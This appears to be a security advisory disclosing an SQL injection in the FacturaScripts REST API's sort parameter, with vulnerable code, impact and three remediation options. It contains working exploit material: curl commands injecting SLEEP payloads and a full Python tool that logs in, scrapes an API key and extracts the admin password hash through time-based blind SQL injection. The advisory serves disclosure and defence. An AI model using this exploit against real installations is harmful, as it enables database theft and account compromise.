+ "details": "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n // If it contains parentheses, it is not escaped (VULNERABILITY!)\n if (strpos($field, '(') !== false && strpos($field, ')') !== false) {\n $this->orderBy[] = $field . ' ' . $order;\n return $this;\n }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+' | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po 'EditApiKey\\?code=\\K\\d+' | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po 'name=\"apikey\" value=\"\\K[^\"]+' | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n \"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n \"\"\"Extract multireqtoken from any page\"\"\"\n res = session.get(url)\n match = re.search(r'name=\"multireqtoken\" value=\"([^\"]+)\"', res.text)\n return match.group(1) if match else None\n\ndef get_api_key():\n \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n print(f\"[*] Logging in as {USERNAME}...\")\n \n # 1. Login flow\n token = get_token(f\"{BASE_URL}/login\")\n if not token:\n print(\"[!] Failed to get initial CSRF token\")\n return None\n \n login_data = {\n \"fsNick\": USERNAME,\n \"fsPassword\": PASSWORD,\n \"action\": \"login\",\n \"multireqtoken\": token\n }\n res = session.post(f\"{BASE_URL}/login\", data=login_data)\n if \"Dashboard\" not in res.text:\n print(\"[!] Login failed!\")\n return None\n print(\"[+] Login successful.\")\n\n # 2. Retrieve API Key ID from settings\n print(\"[*] Accessing API settings...\")\n res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n id_match = re.search(r'EditApiKey\\?code=(\\d+)', res.text)\n if not id_match:\n print(\"[!] No API keys found in system!\")\n return None\n \n api_id = id_match.group(1)\n \n # 3. Get the actual API key string\n print(f\"[*] Retrieving API key for ID {api_id}...\")\n res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n key_match = re.search(r'name=\"apikey\" value=\"([^\"]+)\"', res.text)\n if not key_match:\n print(\"[!] Failed to extract API key from page!\")\n return None\n \n return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n headers = {\"X-Auth-Token\": api_key}\n params = {\n 'limit': 1,\n f'sort[{payload}]': 'ASC'\n }\n start = time.time()\n try:\n requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n except requests.exceptions.ReadTimeout:\n return 10.0\n except:\n pass\n return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n extracted = \"\"\n charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n \n print(f\"[*] Starting extraction for query: {query}\")\n for i in range(1, length + 1):\n found = False\n for char in charset:\n # Added BINARY to force case-sensitive comparison\n payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))\"\n elapsed = time_based_sqli(api_key, payload)\n \n if elapsed >= 2.0:\n extracted += char\n print(f\"[+] Found char at pos {i}: {char} -> {extracted}\")\n found = True\n break\n if not found:\n break\n return extracted\n\ndef main():\n print(\"=\"*60)\n print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n print(\"=\"*60)\n\n # 1. Get API Key dynamically\n api_key = get_api_key()\n if not api_key:\n return\n print(f\"[+] Using API Key: {api_key}\")\n\n # 2. Verify vulnerability\n print(\"[*] Verifying vulnerability...\")\n if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") >= 2.0:\n print(\"[+] System is VULNERABLE!\")\n else:\n print(\"[-] System not vulnerable or API key invalid.\")\n return\n\n # 3. Extract Admin Password Hash\n admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick='admin'\")\n print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n main()\n```\n<img width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" />\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n - User credentials and API keys\n - Customer PII (personal identifiable information)\n - Financial records and transaction data\n - Business intelligence and pricing information\n - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n $result = '';\n $coma = ' ORDER BY ';\n\n // Get valid column names from model\n $validColumns = array_keys(static::getModelFields());\n\n foreach ($order as $key => $value) {\n // Validate column name against whitelist\n if (!in_array($key, $validColumns, true)) {\n throw new \\Exception('Invalid column name for sorting: ' . $key);\n }\n\n // Validate sort direction (must be ASC or DESC)\n $value = strtoupper(trim($value));\n if (!in_array($value, ['ASC', 'DESC'], true)) {\n throw new \\Exception('Invalid sort direction: ' . $value);\n }\n\n // Escape column name\n $safeColumn = self::$dataBase->escapeColumn($key);\n $result .= $coma . $safeColumn . ' ' . $value;\n $coma = ', ';\n }\n\n return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n $result = '';\n $coma = ' ORDER BY ';\n\n foreach ($order as $key => $value) {\n // Escape identifiers and validate direction\n $safeColumn = self::$dataBase->escapeColumn($key);\n $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])\n ? strtoupper($value)\n : 'ASC';\n\n $result .= $coma . $safeColumn . ' ' . $safeDirection;\n $coma = ', ';\n }\n\n return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n $query = self::table();\n\n // Apply WHERE conditions\n foreach ($where as $condition) {\n $query->where($condition);\n }\n\n // Apply ORDER BY with validation\n foreach ($order as $column => $direction) {\n if (!array_key_exists($column, static::getModelFields())) {\n continue; // Skip invalid columns\n }\n $query->orderBy($column, $direction);\n }\n\n return $query->offset($offset)->limit($limit)->get();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n 'max_sort_fields' => 3, // Limit number of sort fields\n 'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist\n 'default_sort' => 'id ASC', // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** Łukasz Rybak",
0 commit comments